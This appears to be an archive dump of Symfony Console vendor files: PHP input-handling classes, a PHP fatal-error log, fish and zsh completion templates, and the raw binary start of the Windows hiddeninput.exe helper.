{ $tokens = array_map(function ($token) { if (preg_match('{^(-[^=]+=)(.+)}', $token, $match)) { return $match[1].$this->escapeToken($match[2]); } if ($token && '-' !== $token[0]) { return $this->escapeToken($token); } return $token; }, $this->tokens); return implode(' ', $tokens); } } console/Input/InputInterface.php000064400000011125151113511740012735 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\Console\Input; use Symfony\Component\Console\Exception\InvalidArgumentException; use Symfony\Component\Console\Exception\RuntimeException; /** * InputInterface is the interface implemented by all input classes. * * @author Fabien Potencier * * @method string __toString() Returns a stringified representation of the args passed to the command. * InputArguments MUST be escaped as well as the InputOption values passed to the command. */ interface InputInterface { /** * Returns the first argument from the raw parameters (not parsed). */ public function getFirstArgument(): ?string; /** * Returns true if the raw parameters (not parsed) contain a value. * * This method is to be used to introspect the input parameters * before they have been validated. It must be used carefully. * Does not necessarily return the correct result for short options * when multiple flags are combined in the same option. * * @param string|array $values The values to look for in the raw parameters (can be an array) * @param bool $onlyParams Only check real parameters, skip those following an end of options (--) signal */ public function hasParameterOption(string|array $values, bool $onlyParams = false): bool; /** * Returns the value of a raw option (not parsed). * * This method is to be used to introspect the input parameters * before they have been validated. It must be used carefully. * Does not necessarily return the correct result for short options * when multiple flags are combined in the same option. * * @param string|array $values The value(s) to look for in the raw parameters (can be an array) * @param string|bool|int|float|array|null $default The default value to return if no result is found * @param bool $onlyParams Only check real parameters, skip those following an end of options (--) signal * * @return mixed */ public function getParameterOption(string|array $values, string|bool|int|float|array|null $default = false, bool $onlyParams = false); /** * Binds the current Input instance with the given arguments and options. * * @return void * * @throws RuntimeException */ public function bind(InputDefinition $definition); /** * Validates the input. * * @return void * * @throws RuntimeException When not enough arguments are given */ public function validate(); /** * Returns all the given arguments merged with the default values. * * @return array */ public function getArguments(): array; /** * Returns the argument value for a given argument name. * * @return mixed * * @throws InvalidArgumentException When argument given doesn't exist */ public function getArgument(string $name); /** * Sets an argument value by name. * * @return void * * @throws InvalidArgumentException When argument given doesn't exist */ public function setArgument(string $name, mixed $value); /** * Returns true if an InputArgument object exists by name or position. */ public function hasArgument(string $name): bool; /** * Returns all the given options merged with the default values. * * @return array */ public function getOptions(): array; /** * Returns the option value for a given option name. * * @return mixed * * @throws InvalidArgumentException When option given doesn't exist */ public function getOption(string $name); /** * Sets an option value by name. * * @return void * * @throws InvalidArgumentException When option given doesn't exist */ public function setOption(string $name, mixed $value); /** * Returns true if an InputOption object exists by name. */ public function hasOption(string $name): bool; /** * Is this input means interactive? */ public function isInteractive(): bool; /** * Sets the input interactivity. * * @return void */ public function setInteractive(bool $interactive); } console/Input/InputOption.php000064400000020456151113511740012314 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\Console\Input; use Symfony\Component\Console\Command\Command; use Symfony\Component\Console\Completion\CompletionInput; use Symfony\Component\Console\Completion\CompletionSuggestions; use Symfony\Component\Console\Completion\Suggestion; use Symfony\Component\Console\Exception\InvalidArgumentException; use Symfony\Component\Console\Exception\LogicException; /** * Represents a command line option. * * @author Fabien Potencier */ class InputOption { /** * Do not accept input for the option (e.g. --yell). This is the default behavior of options. */ public const VALUE_NONE = 1; /** * A value must be passed when the option is used (e.g. --iterations=5 or -i5). */ public const VALUE_REQUIRED = 2; /** * The option may or may not have a value (e.g. --yell or --yell=loud). */ public const VALUE_OPTIONAL = 4; /** * The option accepts multiple values (e.g. --dir=/foo --dir=/bar). */ public const VALUE_IS_ARRAY = 8; /** * The option may have either positive or negative value (e.g. --ansi or --no-ansi). */ public const VALUE_NEGATABLE = 16; private string $name; private string|array|null $shortcut; private int $mode; private string|int|bool|array|null|float $default; private array|\Closure $suggestedValues; private string $description; /** * @param string|array|null $shortcut The shortcuts, can be null, a string of shortcuts delimited by | or an array of shortcuts * @param int|null $mode The option mode: One of the VALUE_* constants * @param string|bool|int|float|array|null $default The default value (must be null for self::VALUE_NONE) * @param array|\Closure(CompletionInput,CompletionSuggestions):list $suggestedValues The values used for input completion * * @throws InvalidArgumentException If option mode is invalid or incompatible */ public function __construct(string $name, string|array $shortcut = null, int $mode = null, string $description = '', string|bool|int|float|array $default = null, array|\Closure $suggestedValues = []) { if (str_starts_with($name, '--')) { $name = substr($name, 2); } if (empty($name)) { throw new InvalidArgumentException('An option name cannot be empty.'); } if (empty($shortcut)) { $shortcut = null; } if (null !== $shortcut) { if (\is_array($shortcut)) { $shortcut = implode('|', $shortcut); } $shortcuts = preg_split('{(\|)-?}', ltrim($shortcut, '-')); $shortcuts = array_filter($shortcuts); $shortcut = implode('|', $shortcuts); if (empty($shortcut)) { throw new InvalidArgumentException('An option shortcut cannot be empty.'); } } if (null === $mode) { $mode = self::VALUE_NONE; } elseif ($mode >= (self::VALUE_NEGATABLE << 1) || $mode < 1) { throw new InvalidArgumentException(sprintf('Option mode "%s" is not valid.', $mode)); } $this->name = $name; $this->shortcut = $shortcut; $this->mode = $mode; $this->description = $description; $this->suggestedValues = $suggestedValues; if ($suggestedValues && !$this->acceptValue()) { throw new LogicException('Cannot set suggested values if the option does not accept a value.'); } if ($this->isArray() && !$this->acceptValue()) { throw new InvalidArgumentException('Impossible to have an option mode VALUE_IS_ARRAY if the option does not accept a value.'); } if ($this->isNegatable() && $this->acceptValue()) { throw new InvalidArgumentException('Impossible to have an option mode VALUE_NEGATABLE if the option also accepts a value.'); } $this->setDefault($default); } /** * Returns the option shortcut. */ public function getShortcut(): ?string { return $this->shortcut; } /** * Returns the option name. */ public function getName(): string { return $this->name; } /** * Returns true if the option accepts a value. * * @return bool true if value mode is not self::VALUE_NONE, false otherwise */ public function acceptValue(): bool { return $this->isValueRequired() || $this->isValueOptional(); } /** * Returns true if the option requires a value. * * @return bool true if value mode is self::VALUE_REQUIRED, false otherwise */ public function isValueRequired(): bool { return self::VALUE_REQUIRED === (self::VALUE_REQUIRED & $this->mode); } /** * Returns true if the option takes an optional value. * * @return bool true if value mode is self::VALUE_OPTIONAL, false otherwise */ public function isValueOptional(): bool { return self::VALUE_OPTIONAL === (self::VALUE_OPTIONAL & $this->mode); } /** * Returns true if the option can take multiple values. * * @return bool true if mode is self::VALUE_IS_ARRAY, false otherwise */ public function isArray(): bool { return self::VALUE_IS_ARRAY === (self::VALUE_IS_ARRAY & $this->mode); } public function isNegatable(): bool { return self::VALUE_NEGATABLE === (self::VALUE_NEGATABLE & $this->mode); } /** * @return void */ public function setDefault(string|bool|int|float|array $default = null) { if (1 > \func_num_args()) { trigger_deprecation('symfony/console', '6.2', 'Calling "%s()" without any arguments is deprecated, pass null explicitly instead.', __METHOD__); } if (self::VALUE_NONE === (self::VALUE_NONE & $this->mode) && null !== $default) { throw new LogicException('Cannot set a default value when using InputOption::VALUE_NONE mode.'); } if ($this->isArray()) { if (null === $default) { $default = []; } elseif (!\is_array($default)) { throw new LogicException('A default value for an array option must be an array.'); } } $this->default = $this->acceptValue() || $this->isNegatable() ? $default : false; } /** * Returns the default value. */ public function getDefault(): string|bool|int|float|array|null { return $this->default; } /** * Returns the description text. */ public function getDescription(): string { return $this->description; } public function hasCompletion(): bool { return [] !== $this->suggestedValues; } /** * Adds suggestions to $suggestions for the current completion input. * * @see Command::complete() */ public function complete(CompletionInput $input, CompletionSuggestions $suggestions): void { $values = $this->suggestedValues; if ($values instanceof \Closure && !\is_array($values = $values($input))) { throw new LogicException(sprintf('Closure for option "%s" must return an array. Got "%s".', $this->name, get_debug_type($values))); } if ($values) { $suggestions->suggestValues($values); } } /** * Checks whether the given option equals this one. */ public function equals(self $option): bool { return $option->getName() === $this->getName() && $option->getShortcut() === $this->getShortcut() && $option->getDefault() === $this->getDefault() && $option->isNegatable() === $this->isNegatable() && $option->isArray() === $this->isArray() && $option->isValueRequired() === $this->isValueRequired() && $option->isValueOptional() === $this->isValueOptional() ; } } console/Input/StreamableInputInterface.php000064400000001604151113511740014736 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\Console\Input; /** * StreamableInputInterface is the interface implemented by all input classes * that have an input stream. * * @author Robin Chalas */ interface StreamableInputInterface extends InputInterface { /** * Sets the input stream to read from when interacting with the user. * * This is mainly useful for testing purpose. * * @param resource $stream The input stream * * @return void */ public function setStream($stream); /** * Returns the input stream. * * @return resource|null */ public function getStream(); } console/Input/Input.php000064400000012053151113511740011115 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\Console\Input; use Symfony\Component\Console\Exception\InvalidArgumentException; use Symfony\Component\Console\Exception\RuntimeException; /** * Input is the base class for all concrete Input classes. * * Three concrete classes are provided by default: * * * `ArgvInput`: The input comes from the CLI arguments (argv) * * `StringInput`: The input is provided as a string * * `ArrayInput`: The input is provided as an array * * @author Fabien Potencier */ abstract class Input implements InputInterface, StreamableInputInterface { protected $definition; protected $stream; protected $options = []; protected $arguments = []; protected $interactive = true; public function __construct(InputDefinition $definition = null) { if (null === $definition) { $this->definition = new InputDefinition(); } else { $this->bind($definition); $this->validate(); } } /** * @return void */ public function bind(InputDefinition $definition) { $this->arguments = []; $this->options = []; $this->definition = $definition; $this->parse(); } /** * Processes command line arguments. * * @return void */ abstract protected function parse(); /** * @return void */ public function validate() { $definition = $this->definition; $givenArguments = $this->arguments; $missingArguments = array_filter(array_keys($definition->getArguments()), fn ($argument) => !\array_key_exists($argument, $givenArguments) && $definition->getArgument($argument)->isRequired()); if (\count($missingArguments) > 0) { throw new RuntimeException(sprintf('Not enough arguments (missing: "%s").', implode(', ', $missingArguments))); } } public function isInteractive(): bool { return $this->interactive; } /** * @return void */ public function setInteractive(bool $interactive) { $this->interactive = $interactive; } public function getArguments(): array { return array_merge($this->definition->getArgumentDefaults(), $this->arguments); } public function getArgument(string $name): mixed { if (!$this->definition->hasArgument($name)) { throw new InvalidArgumentException(sprintf('The "%s" argument does not exist.', $name)); } return $this->arguments[$name] ?? $this->definition->getArgument($name)->getDefault(); } /** * @return void */ public function setArgument(string $name, mixed $value) { if (!$this->definition->hasArgument($name)) { throw new InvalidArgumentException(sprintf('The "%s" argument does not exist.', $name)); } $this->arguments[$name] = $value; } public function hasArgument(string $name): bool { return $this->definition->hasArgument($name); } public function getOptions(): array { return array_merge($this->definition->getOptionDefaults(), $this->options); } public function getOption(string $name): mixed { if ($this->definition->hasNegation($name)) { if (null === $value = $this->getOption($this->definition->negationToName($name))) { return $value; } return !$value; } if (!$this->definition->hasOption($name)) { throw new InvalidArgumentException(sprintf('The "%s" option does not exist.', $name)); } return \array_key_exists($name, $this->options) ? $this->options[$name] : $this->definition->getOption($name)->getDefault(); } /** * @return void */ public function setOption(string $name, mixed $value) { if ($this->definition->hasNegation($name)) { $this->options[$this->definition->negationToName($name)] = !$value; return; } elseif (!$this->definition->hasOption($name)) { throw new InvalidArgumentException(sprintf('The "%s" option does not exist.', $name)); } $this->options[$name] = $value; } public function hasOption(string $name): bool { return $this->definition->hasOption($name) || $this->definition->hasNegation($name); } /** * Escapes a token through escapeshellarg if it contains unsafe chars. */ public function escapeToken(string $token): string { return preg_match('{^[\w-]+$}', $token) ? $token : escapeshellarg($token); } /** * @param resource $stream * * @return void */ public function setStream($stream) { $this->stream = $stream; } /** * @return resource */ public function getStream() { return $this->stream; } } console/Input/InputDefinition.php000064400000027240151113511740013132 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\Console\Input; use Symfony\Component\Console\Exception\InvalidArgumentException; use Symfony\Component\Console\Exception\LogicException; /** * A InputDefinition represents a set of valid command line arguments and options. * * Usage: * * $definition = new InputDefinition([ * new InputArgument('name', InputArgument::REQUIRED), * new InputOption('foo', 'f', InputOption::VALUE_REQUIRED), * ]); * * @author Fabien Potencier */ class InputDefinition { private array $arguments = []; private int $requiredCount = 0; private ?InputArgument $lastArrayArgument = null; private ?InputArgument $lastOptionalArgument = null; private array $options = []; private array $negations = []; private array $shortcuts = []; /** * @param array $definition An array of InputArgument and InputOption instance */ public function __construct(array $definition = []) { $this->setDefinition($definition); } /** * Sets the definition of the input. * * @return void */ public function setDefinition(array $definition) { $arguments = []; $options = []; foreach ($definition as $item) { if ($item instanceof InputOption) { $options[] = $item; } else { $arguments[] = $item; } } $this->setArguments($arguments); $this->setOptions($options); } /** * Sets the InputArgument objects. * * @param InputArgument[] $arguments An array of InputArgument objects * * @return void */ public function setArguments(array $arguments = []) { $this->arguments = []; $this->requiredCount = 0; $this->lastOptionalArgument = null; $this->lastArrayArgument = null; $this->addArguments($arguments); } /** * Adds an array of InputArgument objects. * * @param InputArgument[] $arguments An array of InputArgument objects * * @return void */ public function addArguments(?array $arguments = []) { if (null !== $arguments) { foreach ($arguments as $argument) { $this->addArgument($argument); } } } /** * @return void * * @throws LogicException When incorrect argument is given */ public function addArgument(InputArgument $argument) { if (isset($this->arguments[$argument->getName()])) { throw new LogicException(sprintf('An argument with name "%s" already exists.', $argument->getName())); } if (null !== $this->lastArrayArgument) { throw new LogicException(sprintf('Cannot add a required argument "%s" after an array argument "%s".', $argument->getName(), $this->lastArrayArgument->getName())); } if ($argument->isRequired() && null !== $this->lastOptionalArgument) { throw new LogicException(sprintf('Cannot add a required argument "%s" after an optional one "%s".', $argument->getName(), $this->lastOptionalArgument->getName())); } if ($argument->isArray()) { $this->lastArrayArgument = $argument; } if ($argument->isRequired()) { ++$this->requiredCount; } else { $this->lastOptionalArgument = $argument; } $this->arguments[$argument->getName()] = $argument; } /** * Returns an InputArgument by name or by position. * * @throws InvalidArgumentException When argument given doesn't exist */ public function getArgument(string|int $name): InputArgument { if (!$this->hasArgument($name)) { throw new InvalidArgumentException(sprintf('The "%s" argument does not exist.', $name)); } $arguments = \is_int($name) ? array_values($this->arguments) : $this->arguments; return $arguments[$name]; } /** * Returns true if an InputArgument object exists by name or position. */ public function hasArgument(string|int $name): bool { $arguments = \is_int($name) ? array_values($this->arguments) : $this->arguments; return isset($arguments[$name]); } /** * Gets the array of InputArgument objects. * * @return InputArgument[] */ public function getArguments(): array { return $this->arguments; } /** * Returns the number of InputArguments. */ public function getArgumentCount(): int { return null !== $this->lastArrayArgument ? \PHP_INT_MAX : \count($this->arguments); } /** * Returns the number of required InputArguments. */ public function getArgumentRequiredCount(): int { return $this->requiredCount; } /** * @return array */ public function getArgumentDefaults(): array { $values = []; foreach ($this->arguments as $argument) { $values[$argument->getName()] = $argument->getDefault(); } return $values; } /** * Sets the InputOption objects. * * @param InputOption[] $options An array of InputOption objects * * @return void */ public function setOptions(array $options = []) { $this->options = []; $this->shortcuts = []; $this->negations = []; $this->addOptions($options); } /** * Adds an array of InputOption objects. * * @param InputOption[] $options An array of InputOption objects * * @return void */ public function addOptions(array $options = []) { foreach ($options as $option) { $this->addOption($option); } } /** * @return void * * @throws LogicException When option given already exist */ public function addOption(InputOption $option) { if (isset($this->options[$option->getName()]) && !$option->equals($this->options[$option->getName()])) { throw new LogicException(sprintf('An option named "%s" already exists.', $option->getName())); } if (isset($this->negations[$option->getName()])) { throw new LogicException(sprintf('An option named "%s" already exists.', $option->getName())); } if ($option->getShortcut()) { foreach (explode('|', $option->getShortcut()) as $shortcut) { if (isset($this->shortcuts[$shortcut]) && !$option->equals($this->options[$this->shortcuts[$shortcut]])) { throw new LogicException(sprintf('An option with shortcut "%s" already exists.', $shortcut)); } } } $this->options[$option->getName()] = $option; if ($option->getShortcut()) { foreach (explode('|', $option->getShortcut()) as $shortcut) { $this->shortcuts[$shortcut] = $option->getName(); } } if ($option->isNegatable()) { $negatedName = 'no-'.$option->getName(); if (isset($this->options[$negatedName])) { throw new LogicException(sprintf('An option named "%s" already exists.', $negatedName)); } $this->negations[$negatedName] = $option->getName(); } } /** * Returns an InputOption by name. * * @throws InvalidArgumentException When option given doesn't exist */ public function getOption(string $name): InputOption { if (!$this->hasOption($name)) { throw new InvalidArgumentException(sprintf('The "--%s" option does not exist.', $name)); } return $this->options[$name]; } /** * Returns true if an InputOption object exists by name. * * This method can't be used to check if the user included the option when * executing the command (use getOption() instead). */ public function hasOption(string $name): bool { return isset($this->options[$name]); } /** * Gets the array of InputOption objects. * * @return InputOption[] */ public function getOptions(): array { return $this->options; } /** * Returns true if an InputOption object exists by shortcut. */ public function hasShortcut(string $name): bool { return isset($this->shortcuts[$name]); } /** * Returns true if an InputOption object exists by negated name. */ public function hasNegation(string $name): bool { return isset($this->negations[$name]); } /** * Gets an InputOption by shortcut. */ public function getOptionForShortcut(string $shortcut): InputOption { return $this->getOption($this->shortcutToName($shortcut)); } /** * @return array */ public function getOptionDefaults(): array { $values = []; foreach ($this->options as $option) { $values[$option->getName()] = $option->getDefault(); } return $values; } /** * Returns the InputOption name given a shortcut. * * @throws InvalidArgumentException When option given does not exist * * @internal */ public function shortcutToName(string $shortcut): string { if (!isset($this->shortcuts[$shortcut])) { throw new InvalidArgumentException(sprintf('The "-%s" option does not exist.', $shortcut)); } return $this->shortcuts[$shortcut]; } /** * Returns the InputOption name given a negation. * * @throws InvalidArgumentException When option given does not exist * * @internal */ public function negationToName(string $negation): string { if (!isset($this->negations[$negation])) { throw new InvalidArgumentException(sprintf('The "--%s" option does not exist.', $negation)); } return $this->negations[$negation]; } /** * Gets the synopsis. */ public function getSynopsis(bool $short = false): string { $elements = []; if ($short && $this->getOptions()) { $elements[] = '[options]'; } elseif (!$short) { foreach ($this->getOptions() as $option) { $value = ''; if ($option->acceptValue()) { $value = sprintf( ' %s%s%s', $option->isValueOptional() ? '[' : '', strtoupper($option->getName()), $option->isValueOptional() ? ']' : '' ); } $shortcut = $option->getShortcut() ? sprintf('-%s|', $option->getShortcut()) : ''; $negation = $option->isNegatable() ? sprintf('|--no-%s', $option->getName()) : ''; $elements[] = sprintf('[%s--%s%s%s]', $shortcut, $option->getName(), $value, $negation); } } if (\count($elements) && $this->getArguments()) { $elements[] = '[--]'; } $tail = ''; foreach ($this->getArguments() as $argument) { $element = '<'.$argument->getName().'>'; if ($argument->isArray()) { $element .= '...'; } if (!$argument->isRequired()) { $element = '['.$element; $tail .= ']'; } $elements[] = $element; } return implode(' ', $elements).$tail; } } console/Input/InputAwareInterface.php000064400000001125151113511740013714 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\Console\Input; /** * InputAwareInterface should be implemented by classes that depends on the * Console Input. * * @author Wouter J */ interface InputAwareInterface { /** * Sets the Console Input. * * @return void */ public function setInput(InputInterface $input); } console/Input/error_log000064400000012643151113511750011230 0ustar00[19-Nov-2025 20:07:29 UTC] PHP Fatal error: Uncaught Error: Interface "Symfony\Component\Console\Input\InputInterface" not found in /home/fluxyjvi/public_html/project/vendor/symfony/console/Input/StreamableInputInterface.php:20 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/console/Input/StreamableInputInterface.php on line 20 [19-Nov-2025 20:30:47 UTC] PHP Fatal error: Uncaught Error: Interface "Symfony\Component\Console\Input\InputInterface" not found in /home/fluxyjvi/public_html/project/vendor/symfony/console/Input/StreamableInputInterface.php:20 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/console/Input/StreamableInputInterface.php on line 20 [19-Nov-2025 20:45:37 UTC] PHP Fatal error: Uncaught Error: Interface "Symfony\Component\Console\Input\InputInterface" not found in /home/fluxyjvi/public_html/project/vendor/symfony/console/Input/StreamableInputInterface.php:20 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/console/Input/StreamableInputInterface.php on line 20 [20-Nov-2025 01:50:51 UTC] PHP Fatal error: Uncaught Error: Interface "Symfony\Component\Console\Input\InputInterface" not found in /home/fluxyjvi/public_html/project/vendor/symfony/console/Input/StreamableInputInterface.php:20 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/console/Input/StreamableInputInterface.php on line 20 [20-Nov-2025 01:51:15 UTC] PHP Fatal error: Uncaught Error: Interface "Symfony\Component\Console\Input\InputInterface" not found in /home/fluxyjvi/public_html/project/vendor/symfony/console/Input/StreamableInputInterface.php:20 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/console/Input/StreamableInputInterface.php on line 20 [20-Nov-2025 15:44:58 UTC] PHP Fatal error: Uncaught Error: Class "Symfony\Component\Console\Input\ArgvInput" not found in /home/fluxyjvi/public_html/project/vendor/symfony/console/Input/StringInput.php:25 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/console/Input/StringInput.php on line 25 [25-Nov-2025 03:02:51 UTC] PHP Fatal error: Uncaught Error: Class "Symfony\Component\Console\Input\Input" not found in /home/fluxyjvi/public_html/project/vendor/symfony/console/Input/ArgvInput.php:41 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/console/Input/ArgvInput.php on line 41 [25-Nov-2025 03:23:27 UTC] PHP Fatal error: Uncaught Error: Class "Symfony\Component\Console\Input\Input" not found in /home/fluxyjvi/public_html/project/vendor/symfony/console/Input/ArrayInput.php:26 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/console/Input/ArrayInput.php on line 26 [25-Nov-2025 03:26:43 UTC] PHP Fatal error: Uncaught Error: Class "Symfony\Component\Console\Input\ArgvInput" not found in /home/fluxyjvi/public_html/project/vendor/symfony/console/Input/StringInput.php:25 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/console/Input/StringInput.php on line 25 [25-Nov-2025 03:32:27 UTC] PHP Fatal error: Uncaught Error: Interface "Symfony\Component\Console\Input\InputInterface" not found in /home/fluxyjvi/public_html/project/vendor/symfony/console/Input/Input.php:28 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/console/Input/Input.php on line 28 [25-Nov-2025 05:27:32 UTC] PHP Fatal error: Uncaught Error: Interface "Symfony\Component\Console\Input\InputInterface" not found in /home/fluxyjvi/public_html/project/vendor/symfony/console/Input/StreamableInputInterface.php:20 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/console/Input/StreamableInputInterface.php on line 20 [25-Nov-2025 23:07:20 UTC] PHP Fatal error: Uncaught Error: Class "Symfony\Component\Console\Input\ArgvInput" not found in /home/fluxyjvi/public_html/project/vendor/symfony/console/Input/StringInput.php:25 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/console/Input/StringInput.php on line 25 [25-Nov-2025 23:08:59 UTC] PHP Fatal error: Uncaught Error: Class "Symfony\Component\Console\Input\Input" not found in /home/fluxyjvi/public_html/project/vendor/symfony/console/Input/ArrayInput.php:26 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/console/Input/ArrayInput.php on line 26 [25-Nov-2025 23:09:17 UTC] PHP Fatal error: Uncaught Error: Interface "Symfony\Component\Console\Input\InputInterface" not found in /home/fluxyjvi/public_html/project/vendor/symfony/console/Input/StreamableInputInterface.php:20 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/console/Input/StreamableInputInterface.php on line 20 [26-Nov-2025 01:38:32 UTC] PHP Fatal error: Uncaught Error: Interface "Symfony\Component\Console\Input\InputInterface" not found in /home/fluxyjvi/public_html/project/vendor/symfony/console/Input/Input.php:28 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/console/Input/Input.php on line 28 [26-Nov-2025 01:56:31 UTC] PHP Fatal error: Uncaught Error: Class "Symfony\Component\Console\Input\Input" not found in /home/fluxyjvi/public_html/project/vendor/symfony/console/Input/ArgvInput.php:41 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/console/Input/ArgvInput.php on line 41 console/Input/StringInput.php000064400000005270151113511750012310 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\Console\Input; use Symfony\Component\Console\Exception\InvalidArgumentException; /** * StringInput represents an input provided as a string. * * Usage: * * $input = new StringInput('foo --bar="foobar"'); * * @author Fabien Potencier */ class StringInput extends ArgvInput { /** * @deprecated since Symfony 6.1 */ public const REGEX_STRING = '([^\s]+?)(?:\s|(?setTokens($this->tokenize($input)); } /** * Tokenizes a string. * * @throws InvalidArgumentException When unable to parse input (should never happen) */ private function tokenize(string $input): array { $tokens = []; $length = \strlen($input); $cursor = 0; $token = null; while ($cursor < $length) { if ('\\' === $input[$cursor]) { $token .= $input[++$cursor] ?? ''; ++$cursor; continue; } if (preg_match('/\s+/A', $input, $match, 0, $cursor)) { if (null !== $token) { $tokens[] = $token; $token = null; } } elseif (preg_match('/([^="\'\s]+?)(=?)('.self::REGEX_QUOTED_STRING.'+)/A', $input, $match, 0, $cursor)) { $token .= $match[1].$match[2].stripcslashes(str_replace(['"\'', '\'"', '\'\'', '""'], '', substr($match[3], 1, -1))); } elseif (preg_match('/'.self::REGEX_QUOTED_STRING.'/A', $input, $match, 0, $cursor)) { $token .= stripcslashes(substr($match[0], 1, -1)); } elseif (preg_match('/'.self::REGEX_UNQUOTED_STRING.'/A', $input, $match, 0, $cursor)) { $token .= $match[1]; } else { // should never happen throw new InvalidArgumentException(sprintf('Unable to parse input near "... %s ...".', substr($input, $cursor, 10))); } $cursor += \strlen($match[0]); } if (null !== $token) { $tokens[] = $token; } return $tokens; } } console/Resources/completion.fish000064400000001323151113511750013203 0ustar00# This file is part of the Symfony package. # # (c) Fabien Potencier # # For the full copyright and license information, please view # https://symfony.com/doc/current/contributing/code/license.html function _sf_{{ COMMAND_NAME }} set sf_cmd (commandline -o) set c (count (commandline -oc)) set completecmd "$sf_cmd[1]" "_complete" "--no-interaction" "-sfish" "-a{{ VERSION }}" for i in $sf_cmd if [ $i != "" ] set completecmd $completecmd "-i$i" end end set completecmd $completecmd "-c$c" set sfcomplete ($completecmd) for i in $sfcomplete echo $i end end complete -c '{{ COMMAND_NAME }}' -a '(_sf_{{ COMMAND_NAME }})' -f console/Resources/completion.zsh000064400000005413151113511750013062 0ustar00#compdef {{ COMMAND_NAME }} # This file is part of the Symfony package. # # (c) Fabien Potencier # # For the full copyright and license information, please view # https://symfony.com/doc/current/contributing/code/license.html # # zsh completions for {{ COMMAND_NAME }} # # References: # - https://github.com/spf13/cobra/blob/master/zsh_completions.go # - https://github.com/symfony/symfony/blob/5.4/src/Symfony/Component/Console/Resources/completion.bash # _sf_{{ COMMAND_NAME }}() { local lastParam flagPrefix requestComp out comp local -a completions # The user could have moved the cursor backwards on the command-line. # We need to trigger completion from the $CURRENT location, so we need # to truncate the command-line ($words) up to the $CURRENT location. # (We cannot use $CURSOR as its value does not work when a command is an alias.) words=("${=words[1,CURRENT]}") lastParam=${words[-1]} # For zsh, when completing a flag with an = (e.g., {{ COMMAND_NAME }} -n=) # completions must be prefixed with the flag setopt local_options BASH_REMATCH if [[ "${lastParam}" =~ '-.*=' ]]; then # We are dealing with a flag with an = flagPrefix="-P ${BASH_REMATCH}" fi # Prepare the command to obtain completions requestComp="${words[0]} ${words[1]} _complete --no-interaction -szsh -a{{ VERSION }} -c$((CURRENT-1))" i="" for w in ${words[@]}; do w=$(printf -- '%b' "$w") # remove quotes from typed values quote="${w:0:1}" if [ "$quote" = \' ]; then w="${w%\'}" w="${w#\'}" elif [ "$quote" = \" ]; then w="${w%\"}" w="${w#\"}" fi # empty values are ignored if [ ! -z "$w" ]; then i="${i}-i${w} " fi done # Ensure at least 1 input if [ "${i}" = "" ]; then requestComp="${requestComp} -i\" \"" else requestComp="${requestComp} ${i}" fi # Use eval to handle any environment variables and such out=$(eval ${requestComp} 2>/dev/null) while IFS='\n' read -r comp; do if [ -n "$comp" ]; then # If requested, completions are returned with a description. # The description is preceded by a TAB character. # For zsh's _describe, we need to use a : instead of a TAB. # We first need to escape any : as part of the completion itself. comp=${comp//:/\\:} local tab=$(printf '\t') comp=${comp//$tab/:} completions+=${comp} fi done < <(printf "%s\n" "${out[@]}") # Let inbuilt _describe handle completions eval _describe "completions" completions $flagPrefix return $? } compdef _sf_{{ COMMAND_NAME }} {{ COMMAND_NAME }} console/Resources/bin/hiddeninput.exe000064400000022000151113511750013740 0ustar00MZ@ !L!This program cannot be run in DOS mode. $,;B;B;B2מ:B2-B2ƞ9B2ў?Ba98B;CB2Ȟ:B2֞:B2Ӟ:BRich;BPELMoO  8 @`?@"P@ Pp!8!@ .text   `.rdata @@.data0@.rsrc @@@.relocP"@Bj$@xj @eEPV @EЃPV @MX @eEP5H @L @YY5\ @EP5` @D @YYP @MMT @3H; 0@uh@l3@$40@5h3@40@h$0@h(0@h 0@ @00@}jYjh"@3ۉ]dp]俀3@SVW0 @;t;u3Fuh4 @3F|3@;u j\Y;|3@u,5|3@h @h @YYtE5<0@|3@;uh @h @lYY|3@9]uSW8 @93@th3@Yt SjS3@$0@ @5$0@5(0@5 0@ 80@9,0@u7P @E MPQYYËeE80@39,0@uPh @9<0@u @E80@øMZf9@t3M<@@8PEuH t uՃv39xtv39j,0@p @jl @YY3@3@ @ t3@ @ p3@ @x3@V=0@u h@ @Yg=0@u j @Y3{U(H1@ D1@@1@<1@581@=41@f`1@f T1@f01@f,1@f%(1@f-$1@X1@EL1@EP1@E\1@0@P1@L0@@0@ D0@0@0@ @0@j?Yj @h!@$ @=0@ujYh ( @P, @ËUE8csmu*xu$@= t=!t="t=@u3]hH@ @3% @jh("@b53@5 @YEu u @YgjYe53@։E53@YYEEPEPu5l @YPUEu֣3@uփ3@E EjYËUuNYH]ËV!@!@W;stЃ;r_^ËV"@"@W;stЃ;r_^% @̋UMMZf9t3]ËA<8PEu3ҹ f9H‹]̋UEH<ASVq3WDv} H ;r X;r 